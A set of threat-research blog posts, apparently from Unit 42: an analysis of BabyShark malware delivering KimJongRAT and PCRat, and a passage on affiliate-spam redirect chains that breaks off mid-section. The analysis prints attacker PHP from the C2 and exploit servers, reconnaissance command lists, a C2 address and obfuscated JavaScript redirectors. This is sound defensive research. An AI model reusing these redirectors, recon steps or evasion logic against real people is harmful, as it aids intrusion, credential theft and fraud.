BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat

Posted on April 26, 2019June 7, 2024 by Mark Lim

Executive Summary

In February 2019, Unit 42 published a blog about the BabyShark malware family and the associated spear phishing campaigns targeting U.S. national think tanks. Since that publication, malicious attacks leveraging BabyShark have continued through March and April 2019. The attackers expanded targeting to the cryptocurrency industry, showing that those behind these attacks also have interests in financial gain.

While tracking the latest activities of the threat group, Unit 42 researchers were able to collect both the BabyShark malware’s server-side and client-side files, as well as two encoded secondary PE payload files that the malware installs on the victim hosts upon receiving an operator’s command. By analyzing the files, we were able to further understand the overall multi-staging structure of the BabyShark malware and features, such as how it attempts to maintain operational security and supported remote administration commands. Based on our research, it appears the malware author calls the encoded secondary payload “Cowboy” regardless of what malware family is delivered.

Our research shows the most recent malicious activities involving BabyShark malware appear to be carried out for two purposes:

Espionage on nuclear security and the Korean peninsula’s national security issues
Financial gain with focus on the cryptocurrency industry based on the decoy contents used in the samples, shown in Figure 1. Xcryptocrash is an online cryptocurrency gambling game.

Figure 1. Cryptocurrency related BabyShark malicious document decoy

We presume that the BabyShark malware toolset is shared among actors under the same umbrella or the same group has been assigned an additional mission.

In our analysis, we found BabyShark attacks were using KimJongRAT and PCRat as the encoded secondary payload and thus were the “Cowboys”.

Suspicious Access Logging

BabyShark has a multi-stage infection chain with checks between each stage, as shown in Figure 2, to ensure only targeted hosts are advanced to the next stage before it finally beacons backs to the attacker.

Figure 2. BabyShark malware overall structure

This is done by maintaining a list of denylisted IP addresses and computer names for those who have made suspicious access attempts, such as access with invalid parameters, to the server as a possible technique meant to make analysis harder. The IP addresses and computer names in the denylist are written in base64 encoded format at [BASE_URI]/blackip.txt, shown in Figure 3.

Figure 3. Denylisted IP addresses and computer names in blacktip.txt

When a new access attempt is made with data matching the denylist, the server will not proceed to the next stage and alerts the operator via a separate log file shown in Figure 4.

Figure 4. Suspicious activity log report to operator

BabyShark’s C2 server also logs access to its base URI and redirects to http://go.microsoft[.]com/. The purpose of this is likely to avoid its files being seen due to potential mis-configurations of the hosting web server.

if($ff=fopen("resp_suspect","a"))

{

fwrite($ff, $date . " " . $ip . " suspected access " . $useragent ."\r\n");

fclose($ff);

}

header('Location: http://go.microsoft[.]com/');

exit;

Remote Commands

The operator can issue VBS and PowerShell based commands to victim systems infected with BabyShark. The remote commands we found from the C2 are in the below table, but BabyShark is not limited to these as the attacker can create more VBS or PowerShell command files.

VBS based remote commands:

Command Name	Description
getfiles	Archive all files in the BabyShark base path as a ZIP archive, then upload to the C2
exe_down	Download files for secondary payload: - a Cowboy, a custom encoded PE payload - an EXE type loader which decodes and loads Cowboy in memory - a DLL type loader which decodes and loads Cowboy in memory
redirect_vbs	Purpose of this command is not clear as key file is missing, but it is likely for changing C2 path

Table 1. VBS based remote commands for BabyShark

PowerShell based remote administration commands:

Command Name	Description
keyhook	Two types of key loggers implemented using PowerShell and C# - PowerShell based key logger which is openly available on GitHub. Result is saved in %APPDATA%\Microsoft\ttmp.log - C# based key logger saves result in %APPDATA%\Microsoft\ttmp.log
dir list	Collect host information and save the result in %APPDATA%\Microsoft\ttmp.log. The commands issued to collect host information include: - whoami - hostname - ipconfig - net user - arp -a - dir "%appdata%\Microsoft" - dir "%systemroot%\SysWOW64\WindowsPowerShell\" - vol c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z: - dir "%userprofile%\Downloads" - dir "%userprofile%\Documents" - dir "%userprofile%\AppData\Local\Google\Chrome\User Data\Default" - tasklist Also, a test result for UAC accessibility, and Microsoft Office security setting from registry key values
power com	Copy %APPDATA%\Microsoft\delemd.tmp0 to %APPDATA%\Microsoft\XXYYZZ.tmp, and load as DLL
exe del	Clean up all files associated with secondary payload execution. - %APPDATA%\Microsoft\desktop.r3u, encoded Cowboy payload - %APPDATA%\Microsoft\fstnur, file used to check for first time execution - %APPDATA%\Microsoft\*.tmp
execute	Copy %APPDATA%\Microsoft\deleme.tmp0 to %APPDATA%\Microsoft\deleme.tmp, and execute it

Table 2. PowerShell based remote commands for BabyShark

KimJongRAT and PCRat are the Cowboys!

The secondary malware is delivered as a set:

one EXE loader
one DLL loader
one encoded payload

The functionality of the EXE and DLL loaders is the same: the only difference is the file type. These loaders are later run upon receiving an execution command: “execute” to invoke the EXE type loader or “power com” to launch the DLL type loader. We theorize the reason for having two different type loaders is to have redundancy for loading the payload in case of anti-virus software’s disruption. Either loader will load the custom encoded secondary payload, the Cowboy, in memory, decode it, and execute it.

In our previous research, we wrote about possible links between BabyShark and the KimJongRAT malware family. We based these possible links on the similarity of malware behavior, similar interests in the targets, and a freshly compiled KimJongRAT malware sample being seen from the same threat actor. In our latest analysis, we collected two secondary payload files, cow_pass.gif and cow.gif, from BabyShark’s C2 server. After decoding, we found these samples were KimJongRAT and PCRat respectively. Their metadata are in Tables 3 and 4.

SHA256	f86d05c1d7853c06fc5561f8df19b53506b724a83bb29c69b39f004a0f7f82d8
timestamp	2010-07-14 08:47:40
size	124,928
Import hash	d742aa65c4880f85ae43feebb0781b67
C2	173.248.170[.]149:80

Table 3. Decoded PCRat payload metadata

SHA256	d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712
timestamp	2018-12-25 11:11:47
size	787,968
Import hash	daab894b81cc375f0684ae66981b357d

Table 4. Decoded KimJongRAT payload metadata

PCRat is an infamous remote administration trojan with its source code openly available on the public internet. The malware is a variant of the Gh0st RAT malware family and it shares many similarities with Gh0st including its network beacon structure as shown in the Figure 5.

Figure 5. PCRat communication with the C2 at 173.248.170[.]149:80

Initially, we were curious about the sample’s old timestamp and it being hardly modified from the original PCRat binary which had been publicly available for many years. However, the operator seemed to be actively operating the malware when we observed the communication between it and the C2 server at the time of our analysis.

The decoded KimJongRAT sample seems to exhibit a few changes in the code from the variants reported in the past. This sample added a substitution cipher to obfuscate API strings, as shown in Figure 5, to hide its intentions and removed its networking feature for C2 data exfiltration, possibly in favor of the password gathering discussed below.

Figure 6. Encrypted API strings in KimJongRAT

As the original filename “cow_pass.fig” suggests, KimJongRAT seems to be wholly used as a password extraction and information stealer tool by the threat actor, and the collected data are exfiltrated to C2 with support from other malware such as BabyShark or PCRat. The information that the KimJongRAT malware steals from victim machines include email credentials from Microsoft Outlook and Mozilla Thunderbird, login credentials for Google, Facebook, and Yahoo accounts from browsers Internet Explorer, Chrome, Mozilla Firefox, and Yandex Browser. All this information together with the victims machines' OS version are stored into the file "%APPDATA%\Microsoft\ttmp.log". The contents in "ttmp.log" always begin with the string "AAAAFFFF0000CCCC" and then appended with base64 encoded stolen credentials.

CVE-2018-8174

We have not observed an in-the-wild case yet, but we did find a PHP sample exploiting CVE-2018-8174 (Windows VBScript Engine Remote Code Execution Vulnerability) on the BabyShark C2 server, and this suggests that the threat actor may be leveraging this vulnerability to make a target load BabyShark’s first stage HTA via a watering hole attack or a malicious URL in a spearphishing email.

The attacker’s exploit script logs the victim’s remote IP address and redirects to http://google[.]com if the access is made more than one time from the same IP. This again is perhaps a tactic meant to thwart researchers.

if(file_exists($filename))

{

if($ff=fopen("resp","a"))

{

fwrite($ff, $date . " " . $ip . " ".$useragent." reopen document." ."\r\n");

fclose($ff);

}

header("location: http://google[.]com");

exit;

}

if($ff=fopen("resp","a"))

{

fwrite($ff, $date . " " . $ip . " ".$useragent." open document." ."\r\n");

fclose($ff);

}

Cowboy Converter

During our research, we discovered a Graphical User Interface (GUI) based program likely created by the BabyShark malware author from a public malware repository. The file is to use as a file encoder tool to convert a PE file into a payload format loadable by the previously described Cowboy EXE and DLL loaders. We believe this tool is used by the BabyShark author to create their attack. Its metadata is in Table 5, below.

SHA256	bd6efb16527b025a5fd256bb357a91b4ff92aff599105252e50b87f1335db9e1
timestamp	2019-01-30 18:22:51
size	24,576
Import hash	bde663d08d4e2e17940d890ccf2e6e74

Table 5. Cowboy converter metadata

This tool simply opens a file with the name of “cowboy” in the current working directory and encodes it into the Cowboy encoding format as detailed below. If a file with the name of “cowboy” is not found, it pops up a message box notifying “The file cowboy isn’t there!” shown in Figure 7.

Figure 7. Cowboy converter and cowboy file not found pop up message

The encoding is done via the following three steps:

Reverse the original byte content read from the file with the name of “cowboy”
Take the reversed bytes and Base64 encode them
Take the base64 encoded string and chop it into 10 blocks and reverse the blocks' order

We have written a decoder script in Python and it is available in the appendix section of this blog.

Conclusion

Since releasing our previous research, malicious attacks leveraging the BabyShark malware have continued. In fact, they have widened their operation to target the cryptocurrency industry. The malware’s server-side implementation showed that the malware author has made certain efforts to maintain the operational security for operating the malware and C2 infrastructures. The threat actor leverages other commodity and custom developed tools in their campaigns. In this case, they were PCRat and KimJongRAT, but these may be changed to other malware families in the future. Malicious attacks using the BabyShark malware also seem likely to continue based on our observations and may continue expanding into new industries.

Palo Alto Networks customers are protected from this threat in the following ways:

WildFire and Traps detect all malware families and vulnerability exploits mentioned in this report as malicious
C2 domains used by the threat actors are blocked via Threat Prevention
Pre and post infection network communications by the BabyShark and PCRat malware families are blocked by our IPS engine
CVE-2018-8174 exploit is blocked by our IPS engine

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tags:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Malicious Word Macro Document

75917cc1bd9ecd7ef57b7ef428107778b19f46e8c38c00f1c70efc118cb8aab5,

PCRat

f86d05c1d7853c06fc5561f8df19b53506b724a83bb29c69b39f004a0f7f82d8,

KimJongRAT

d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712,

Cowboy Loader

4b3416fb6d1ed1f762772b4dd4f4f652e63ba41f7809b25c5fa0ee9010f7dae7

33ce9bcaeb0733a77ff0d85263ce03502ac20873bf58a118d1810861caced254

Cowboy Converter

bd6efb16527b025a5fd256bb357a91b4ff92aff599105252e50b87f1335db9e1,

Appendix - Python Script for Decoding Cowboy

import base64

with open('cowboy', 'r') as file_in, open('cowboy_clear.bin', 'wb') as file_out:

EncStr = file_in.read()

BlkSz = 10

len_EncStr = len(EncStr)

NonBlk10_ptr = len_EncStr - (BlkSz -1) * (len_EncStr // BlkSz)

NonBlk10 = EncStr [:NonBlk10_ptr]

result = ''

EncStr = EncStr [NonBlk10_ptr::]

#print EncStr

x = range (-1,BlkSz-1)

Blksize1 = len_EncStr // BlkSz

for n in x:

loop_buff1_ptr = n * (len_EncStr // BlkSz)

loop_buff1 = EncStr [loop_buff1_ptr:loop_buff1_ptr+Blksize1]

#print loop_buff1

result = loop_buff1 + result

result = result + NonBlk10

clear = base64.b64decode(result)[::-1]

print clear

file_out.write(clear)

Don't Panic Podcast - Watering Hole Attacks

Posted on April 26, 2019August 25, 2025 by Ryan Olson

Unit 42 leaders Ryan Olson and Rick Howard present another another episode of their "Don't Panic" podcast, where they break down the big issues in cyber security and tell you why you don't need to panic.

This week's episode is about Watering Hole attacks. This technique involves compromising specific websites to target their readers with malware.

Subscribe at: iTunes Google Play LibSyn

Send us feedback via Twitter:

Unit 42 ( @unit42_intel )

Ryan (@ireo)

Rick (@raceBannon99)

Takedowns and Adventures in Deceptive Affiliate Marketing

Posted on April 25, 2019June 7, 2024 by Jeff White

Executive Summary

At Palo Alto Networks, Unit 42 analyzes threats across the spectrum – from nation state all the way down to Florida state. In this blog, I’ll be covering two aspects of multi-year affiliate marketing spam campaigns designed to deceive individuals, scam, and profit off of people’s desire to change their lives.

First, I’ll provide an overview of a spam campaign sent to some customers that led me down this more than two year rabbit hole, and then dig into the inner workings. This blog covers a number of topics: data collection, analysis, and enumeration of infrastructure. These efforts allowed us to map out thousands of compromised servers and abused domains and hundreds of compromised accounts, resulting in a collaborative effort with GoDaddy to take down over 15,000 subdomains being used across these campaigns.

Introduction

On a scale of 1 to 10 for the “Worst Types of Spam” you can receive, approaching that perfect 10 score is spam related to “snake oil” products that are so patently fake that you struggle to understand why they would even bother trying to sell it. You know the ones I’m talking about. The late night, 3A.M. insomnia, as-seen-on-TV, “miracle” products that use laughably bad actors to try and sell you laughably bad products…for a limited time only!

At some point the 3A.M. commercials of yesteryear became all-day e-mails, social media posts, and other forms of invasive advertising that have weaseled their way into our daily lives. So much so that sometimes they just begin to blend into the minutiae of things bombarding us constantly and become part of our expected usage experience; we begin to just glaze over them without giving them a second thought. That’s exactly what was happening to me for a particular campaign of spam that I was seeing every now and then but didn’t give much thought to. It went on for over two years and I began noticing slight variations every month until something clicked and what once was background noise now was something of interest.

At first it’s easy to look past them – “Ah! Just another weight loss pill” or “Yes! I’m sure this totally legit Canadian pharmacy has you covered for pain medications.” However, as I began to notice a pattern in the visual structure across some of these spam websites it piqued my interest. Over two years I had watched some of these sites and could identify a template being used that slowly morphed over time, selling different products, and always using different URLs to mask their intentions, but visually appearing quite similar.

Maybe you’ll recognize one of them if you’ve ever been adventurous enough to see where a random link in an e-mail would take you.

Figure 1. Deceptive scam pages

At times, it was clear, based on domains like “keywestinns[.]com”, that there was something a little more nefarious going on. When I started to investigate, I was seeing hundreds of different domains, with lots of them showing signs of compromise, and quite clearly NOT intended for the spam being used on their infrastructure.

When the act of sending unsolicited offers crosses the line from annoyance to dabbling in illegal acts, then the everyday spam becomes a lot more interesting.

And with that dear readers, it’s time to gather around the camp fire as we go down some rabbit holes on a journey of exploration into the magical mystical world of affiliate marketing spam.

Initial Patterns of Shadiness

To begin, I feel it’s best to highlight some of the spam that initially piqued my interest.

Starting in early 2017, I began making a mental note of these sites purporting celebrity endorsements for weight loss and “brain enhancement” pills. In our process of analysis, we’re presented with an array of screenshots from the virtual systems that crawl these websites; this is why after seeing these images time and time again they eventually became ingrained in my mind and I could start to recognize templates being used and their slight variations over time.

Thus, I present to you some of the first campaigns that I observed throughout 2017. Note the structural similarities as I go through them.

Style A) “Stephen Hawking Predicts, ‘This Pill Will Change Humanity’”

Figure 2. Stephen Hawking variant

A lofty claim for sure and who wouldn’t believe what Stephen Hawking says to Wolf Blitzer as reported on Forbes? While this campaign phased out, there was another running in parallel with the same tactics but a different product, switching from “brain supplements” to “weight loss.” It keeps the celebrity endorsement theme and continues masquerading as a legitimate website.

Style B) “Gwen Stefani Shares Blake Shelton’s Secret To Rapid Weight Loss”

Figure 3. Gwen Stefani variant

I’ll touch on the domains in a minute but note that this domain is crafted specifically for this fake endorsement. It masquerades as the legitimate “TMZ” website with a domain using the brand in the name - “weightloss4tmz[.]com”.

After these two died off, two new campaigns began popping-up around early-2018 and are still active as of today.

Style C) “Why Every Judge On Shark Tank Backed This Product from” – Lacey Brown

Figure 4. Shark Tank variant 1

Style D) “Why Every Judge On Shark Tank Backed This Product from” – Lacey Johnson

Figure 5. Shark Tank variant 2

When you see them next to each other, the templates become more apparent in the stylization of their structured layouts.

Keep in mind that the URLs on display in the above screenshots are not what the initial phishing URL looks like, but they are where you eventually end up after, sometimes, 3-4 redirects away from their point of origin. When I finally decided to do some research on these campaigns and figure out what was going on, this detail made initial identification a bit trickier.

Below is a table showing the original URLs and the domains where they ended up in the four images above.

Style	Primary Redirector	Landing Page
Hawking	test.303[.]lt/captchaimage.php?island=asevp275rbaahnz92	thelimitlessmind[.]asia
Stefani	www.printercustomersupportonline[.]com/500error.php?method=283hyxr6r8hew	weightloss4tmz[.]com
SharkTankV1	argentina.urbansquares[.]com/efvpmubb.php?er608q1=h6cmt	health4burnfats[.]world
SharkTankV2	cinematto[.]ch/wp-content/plugins/linklove/profiles/e080403.php?engine=nyq1an0gq1kt02v	fastdiet4lines[.]world

Table 1. Redirection URL per variant

As I started to manually sift through the URLs I processed, looking for past samples to collect from each campaign, I noticed an interesting pattern that spanned across the URLs going back years. Specifically, the initial redirection page was commonly using a PHP file with a single parameter that was typically a simple English word followed by a mix of alphanumeric characters. It was enough to create a regular expression and match additional sites but I kept finding outliers where it wasn’t always consistent, such as in the above SharkTankV1 sample, and I needed to find a way to collect more holistic data.

I needed a way of identifying all of the campaign variants we’d seen over the past few years without relying on the initial URL from the phishing email. A tricky problem to be sure. In addition, I still wanted to identify the “bit[.]ly” and “goo[.]gl” type shortening services, the redirectors, and in some cases the landing pages to see if any patterns appeared - basically, whatever a potential victim saw. Thus, the only consistent piece of the puzzle I had at that point were the images from our virtual systems used for analysis, so I decided to start from there and work my way backwards.

Spam Cartography

I reviewed a number of methodologies on image comparison and settled on Mean Squared Error (MSE). This technique essentially generates a measurement score based on the average of the squares of errors, or in this context the difference between pixel intensity of the two compared images. As every screenshot was of the same size and general layout within the virtual machine, this relatively simple method proved quite accurate at scale.

Using this fabulous blog I cobbled together a Python script that iterated over 42,000 images from our virtual systems where URLs were sent for manual analysis. I did this for each campaign “style” and reported back matches that I then could use to walk back to the submitted URL, after which I manually scraped out the landing page URLs.

Below are some statistics on how many unique sites and domains were collected following this methodology.

Style	Total Submissions	Unique Source URL	Unique Landing Domain
Hawking	256	81	54
Stefani	93	38	21
SharkTankV1	443	217	71
SharkTankV2	108	39	19

Table 2. Campaign variant statistics

One thing that was immediately surprising to me was the sheer number of unique, purchased landing page domains used for these campaigns.

With a sizable corpus of samples from each campaign, I began looking at them deeper to understand how the flow of events occurred and to try and answer the question: how does one actually land on any of these pages?

After speaking with some of our customers, hunting for various URLs, and reviewing quite a few other research blogs, I was able to put together a pretty clear chain of events.

User clicks a link from spam e-mails, random/hijacked Skype messages, Facebook ads, and Twitter posts.
User ends up on a redirection site, which were usually legitimate sites compromised in some way, which may involve a few hops.
User ends up on a fake celebrity endorsement landing page.
User ends up ultimately on a sales page for the product being sold.

Figure 6 shows an in-the-wild example that maps out each step:

Figure 6. Chain of events from original source to destination

Starting with the compromised site portion of the chain seemed like an ideal choice to focus on but I could tell from the samples I’d already collected that not all of them used the PHP file for redirection. In fact, as I started to look at each of the campaigns and chains in more detail, I identified multiple styles in how the redirection was occurring at this phase.

Using RiskIQ’s PassiveTotal service to pivot on sites that redirected to or from the compromised sites, I was able to map out 689 landing pages that mapped back to a whopping 21,611 potentially compromised websites. I thought that was quite an extensive network for trying to push fake products so I continued digging.

While looking at some of the metadata for the compromised sites, I stumbled across a tag in PassiveTotal created by one of their security researchers, Jordan Herman, called “CaesarV”. The description of their tag lined up perfectly with some of the activity I was seeing.

The CaesarV injection is using .php files on compromised site to drive traffic to fraudulent and/or scam pages including fake tech support and fake sites purporting to be news sites reporting on the incredible effects of weightloss and intelligence pills. It is unclear whether it is also sending traffic malware at this time. The injection uses a Caesar cipher to obfuscate the method of redirection and the address to which traffic is being sent. This campaign appears to be long running, at least since the beginning of 2017 and possibly much longer.

Jordan sent me a link to a September 2017 blog PassiveTotal released which featured the Stephen Hawking campaign shown in Figure 2). It detailed how the spammers were able to get access to one of the compromised servers and analyzed the PHP file handling the redirection.

Of note was the use of a Caesar cipher to unmask the hardcoded landing pages to which potential victims would be redirected.

I’ll briefly illustrate this style before covering the additional ones that I saw across my sample set.

Traffic Redirection Styling

CaesarV

For the CaesarV style, at the bottom of the redirect page there is JavaScript block that contains something like the below.

pursuea=24; pursueb=[128,140,140,136,82,71,71,136,138,135,124,141,123,140,76,124,129,125,140,70,143,135,138,132,124,71,87,121,85,76,73,79,79,78,80,62,123,85,123,136,123,124,129,125,140,62,139,85,75,77,79,78,77]; pursuec=""; for(pursued=0;pursued<pursueb.length;pursued++) { pursuec+=String.fromCharCode(pursueb[pursued]-pursuea); } window.top.location.href=pursuec;

It’s just a basic array of integers, shifted in this case by “24”, that represent the ASCII characters which make up the URL.

>>> a = [128,140,140,136,82,71,71,136,138,135,124,141,123,140,76,124,129,125,140,70,143,135,138,132,124,71,87,121,85,76,73,79,79,78,80,62,123,85,123,136,123,124,129,125,140,62,139,85,75,77,79,78,77]

>>> "".join([chr(x - 24) for x in a])

'http://product4diet[.]world/?a=417768&c=cpcdiet&s=35765'

JavaScript Variant 2

Another JavaScript variant that I frequently saw used a simple string ordering obfuscation to hide the URL before it rebuilds it.

var kbgo361 = 'h';

var elqwcafz962 = 't';

var yxkqcakbda622 = 't';

var fwvpixzxqktl166 = 'p';

var a173 = 's';

var jxatwangn716 = ':';

var iqt449 = '/';

var zlovsta404 = '/';

var sp811 = 'on=';

var rdzvxyaxbo26 = 'xoa139';

var qzcdsfakgdfxrd419 = 'ment';

var j56 = '.lo';

var iwzarqkozwkt588 = 'ti';

var mbxctnfabkctpvqro857 = 'docu';

var vnv639 = 't-lines.co';

var fcieo806 = 'm/held.php';

var anmssiwwzfokxyxt304 = '?a=';

var ibtjenthjslooiilw172 = '1kB';

var ax83 = 'J&c=diet&s=10058';

var svxvv466 = '';

var bvengcktogsc110 = 'fastdie';

var xoa139 = 'ca';

var brndzqejxjhbvsro400 = '"';

if (rdzvxyaxbo26 = 'xoa139') {

setTimeout (mbxctnfabkctpvqro857+qzcdsfakgdfxrd419+j56+xoa139+iwzarqkozwkt588+sp811+brndzqejxjhbvsro400+kbgo361+elqwcafz962+yxkqcakbda622+fwvpixzxqktl166+a173+jxatwangn716+iqt449+zlovsta404+svxvv466+bvengcktogsc110+vnv639+fcieo806+anmssiwwzfokxyxt304+ibtjenthjslooiilw172+ax83+brndzqejxjhbvsro400,916);

}

This redirects the browser to a PHP file on a landing page server:

https://fastdiet-lines[.]com/held.php?a=1kBJ&c=diet&s=10058

Then this site uses a 303 “See Other” HTTP request to redirect to the final landing page. It’s worth noting at this point the parameters “a” (Affiliate), “c” (Campaign), and “s” (Sub) that are included in the above request.

https://fastdiet-lines[.]com/us/wykc/keto-all-desktop3?bhu=spctECr16tLfm14ZpdEZun3r45xPcSviq2L12u

3XX Redirect Chain

The last dominant style I’ll cover is a chaining of HTTP 3XX Redirection requests as illustrated in the example below.

Figure 7. 3XX Redirection chain

As an aside, all of the certificates I observed across these campaigns when HTTPS was used were issued by “Let’s Encrypt”, which offers free and automated certificate creation quite commonly abused by malicious actors.

While collecting these URLs, the 3XX style of redirection illuminated another area of clearly illegal activity. Over the past few months, I noticed a large influx in this style of redirect being pushed out and hitting my radar. While speaking with one of our customers to understand where they were receiving the initial URL’s from, they sent me some of the “hundreds” of e-mails they were receiving leading to these campaigns.

Upon closer inspection I determined they all followed a similar structure of one simple English word used as a subdomain to an unrelated second level domain. Below is a sampling to illustrate.

accept.beerandcupcakes[.]com
belief.saltwaterfall[.]com
card.fallingrockfilms[.]com
decision.welcometomydiabeticlife[.]com
else.pageinvestmentgroup[.]com
favor.bigislandroofing[.]com
glad.justinbieberfannews[.]com
heart.mkmarketingservices[.]com
ideal.modularelectronicsystems[.]com
just.eastcoastrandr[.]com

Out of the over 4,000 sites I further enumerated from PassiveTotal that both follow this naming pattern and had relationships to known landing pages, were 3,000 unique second level domains. I’ll come back to this point later but for now, just know that a majority of them resolved to the IP address “184.168.131[.]24” which is the GoDaddy URL shortening service, similar to “bit.ly” and “goo.gl”, but allows you to point a DNS A Record to the IP and manage where it will forward the user.

Figure 8. GoDaddy URL shortener/redirector

The primary difference here is that instead of compromising a WordPress plugin on an unrelated website, as seen in the previous campaigns, they were now using legitimate registrant accounts in a technique called “Domain Shadowing.” Additionally, at the scale I was seeing, it would seem likely that the person(s) behind it were going about it in an automated fashion, logging into these legitimate domain accounts and using a dictionary of simple English words to create subdomains pointing to their redirector.

The automated aspect of this can be further evidenced below when you look at the update time for the various domains and cluster them on that facet.

onlinebusinesstrainingacademy[.]org | GoDaddy.com, LLC | 2018-11-12T10:35:19.000-0800
onlinebusinesstrainingschool[.]org | GoDaddy.com, LLC | 2018-11-12T10:35:18.000-0800
onlinebusinessu[.]org | GoDaddy.com, LLC | 2018-11-12T10:35:18.000-0800
onlinejobtrainingacademy[.]com | GoDaddy.com, LLC | 2018-11-12T10:35:18.000-0800
onlinejobtrainingschool[.]com | GoDaddy.com, LLC | 2018-11-12T10:35:17.000-0800
onlineworktrainingschool[.]com | GoDaddy.com, LLC | 2018-11-12T10:35:18.000-0800

Each of these domains were created around the same time back in 2016 and visually appear related, even though they all used private registration with GoDaddy. They also all share a last updated WHOIS time within a few seconds of each other and this implies these were updated at the same time, likely because they are all related to the same registrant account.

Furthermore, you’ll find that it’s not a 1:1 mapping of subdomain to domain and quite a few subdomains are abused in this fashion per second level domain.

advantage.onlinebusinesstrainingacademy[.]org
principle.onlinebusinesstrainingacademy[.]org
speak.onlinebusinesstrainingacademy[.]org
text.onlinebusinesstrainingacademy[.]org
venue.onlinebusinesstrainingacademy[.]org
chat.onlinebusinesstrainingschool[.]org
sale.onlinebusinesstrainingschool[.]org
server.onlinebusinesstrainingschool[.]org
store.onlinebusinesstrainingschool[.]org
title.onlinebusinesstrainingschool[.]org
value.onlinebusinesstrainingschool[.]org
browse.onlinebusinessu[.]org
develop.onlinebusinessu[.]org
direct.onlinebusinessu[.]org
esteem.onlinebusinessu[.]org
guide.onlinebusinessu[.]org
main.onlinebusinessu[.]org
voice.onlinebusinessu[.]org
always.onlinejobtrainingacademy[.]com
ideal.onlinejobtrainingacademy[.]com
market.onlinejobtrainingacademy[.]com
set.onlinejobtrainingacademy[.]com
smart.onlinejobtrainingacademy[.]com
then.onlinejobtrainingacademy[.]com
venue.onlinejobtrainingacademy[.]com
branch.onlinejobtrainingschool[.]com
card.onlinejobtrainingschool[.]com
cheap.onlinejobtrainingschool[.]com
great.onlinejobtrainingschool[.]com
note.onlinejobtrainingschool[.]com
sight.onlinejobtrainingschool[.]com
stable.onlinejobtrainingschool[.]com
balance.onlineworktrainingschool[.]com
chief.onlineworktrainingschool[.]com
expect.onlineworktrainingschool[.]com
guide.onlineworktrainingschool[.]com
kind.onlineworktrainingschool[.]com
refer.onlineworktrainingschool[.]com
respect.onlineworktrainingschool[.]com

As you can see, this technique gives an attacker a much larger surface area of URLs to use than just compromising an individual website via WordPress plugins.

Affiliates in Crime

While looking at these URLs in bulk, one set of artifacts that kept standing out was the naming of the parameters. You have things like “click_id”, “subid”, “ad”, “CID”, etc. These all indicate a tracking system which is typical of affiliate advertising.

Affiliate advertising, in this context, is a perversion of traditional advertising that incentivizes individuals to aggressively push traffic towards a product by paying for views, clicks, and other activity. Wikipedia provides a slightly more palatable definition:

Affiliate marketing is a type of performance-based marketing in which a business rewards one or more affiliates for each visitor or customer brought by the affiliate's own marketing efforts.

Technically, there is nothing wrong with affiliate marketing, but when affiliates use less than scrupulous methods for traffic generation, it puts the onus on the marketing company (merchant and/or affiliate network) to filter out the bad apples.

Another important analytical point is that it is relatively simple to separate out individuals to blame for the illegal activity by having a basic understanding of how affiliate marketing works and analyzing the different styling of the redirections. They are paid by merchants to push traffic, however they can, to these deceptive websites. It’s possible, based on the parameters in use on the landing pages, for the merchant handling these services to track back this illegal activity to their affiliates they are paying and put a stop to it. But more often than not, the merchants themselves are providing the affiliates with the fake celebrity endorsement templates and are just as unscrupulous as the affiliates.

The merchants are very aware of who is abusing these systems but are making a profit and as this type of crime is rarely prosecuted, lack significant incentive to police the activity. I observed that victims frequently asked credit card vendors to cancel charges to these merchants and also complained directly to the merchants as well as organizations like the Better Business Bureau

Landing (Pre-Sell/Farticles) Pages

After enumerating out all of the relationships with the compromised servers and hijacked registrant accounts, based on their observed redirection activity in PassiveTotal, I was now left with a large grouping of landing pages to further analyze.

In the affiliate marketing community, these types of fake endorsement sites are called “pre-sells” and “farticles” (yes, farticles…fake articles). The pages intent is clear - get someone to believe the products may actually work if a celebrity endorses it. That’s a tactic as old as advertising itself.

You’ll also find these exact pre-sells being offered to affiliates by the affiliate networks and merchants.

Figure 9. Shark Tank pre-sell

Another interesting thing that I noticed while analyzing these pages is that each of the landing page sites contained other landing pages that I’d seen before, and some which I hadn’t, that were not currently in use. Even when the pages weren’t related to the domain, the templates for these other products still existed on those sites. This, to me, is a clear indication of a bundled package being deployed to the servers and, based on what I saw across multiple affiliate platforms, are typically products provided by the merchants themselves.

Below is the “burnfat4tips[.]com” domain illustrating multiple pre-sell pages at different URL paths.

Figure 10. Multiple campaign templates per site

By enumerating all of the URL paths from the pages submitted by our customers, I was able to identify 26 templates on just this site alone. I’m sure there are even more into which I don’t have visibility.

As mentioned previously, these landing pages do nothing more than attempt to elicit a click from the viewer. Every single link, “contact us” button, Facebook like, Twitter re-tweet, etc all point to the same resource – another PHP script which handles the redirection to the “miracle cure” sales page. Even when some of the pre-sell pages are promoting a different product, such as “CLA Safflower Oil” or “Turmeric”, these all eventually redirect to the “PureFit Keto” sales page for this particular campaign.

Going back a little, between June 12 – 15 2017, the redirect for the sales page in the Stephen Hawking variant changed their PHP file from this format:

togo.php?lnk=7e7525addd988e89&a=aER5clJOVnFSWGVFYjY4bW5DMkEyUmN3a3ZtRUxvUGYyck9FTFM3UTRKV1d6d0FsNmZuSWNGd1o2blp5UjFQWXc5ZktxNndJTGZXTFRYS2tVZnk1SngrUFlnQnRjdjVtSzUzYUdKY0cvdjN6Qk9WbDdFT0hyZ2lPVkJkTUhtS1dCNnJJTHdwaERuNzhPT25VMzdxbHlRPT0=

To this format which is the same as the other landing pages currently in use:

go.php?CID=416071&bhu=spctECr16tLfm14ZpdEZurodvXKKKLDhqn5feD

This could indicate a change in affiliate networks or a change in the way the affiliate network handles their tracking. While unraveling all of these threads, I stumbled upon an entirely separate industry for just this aspect of affiliate marketing and from what I observed, it was just as equally shady.

The “CID” here in the last example is likely used to represent “Customer ID” for the affiliate tracking and could prove useful for mapping actors out, even if we don’t know who it actually is. From the 575 sites that I was able to get the source HTML for, there were four CID’s in use across the campaigns spanning 2 years.

411308
414300
414752
416071

Sales Pages

The sales pages weren’t initially interesting to me given that the illegal activity seems focused in the affiliate arena, but that changed fairly quickly when I began trying to understand more about the core workings of the campaigns.

For the “PureFit Keto” product, you’ll be presented with a page that looks like the below.

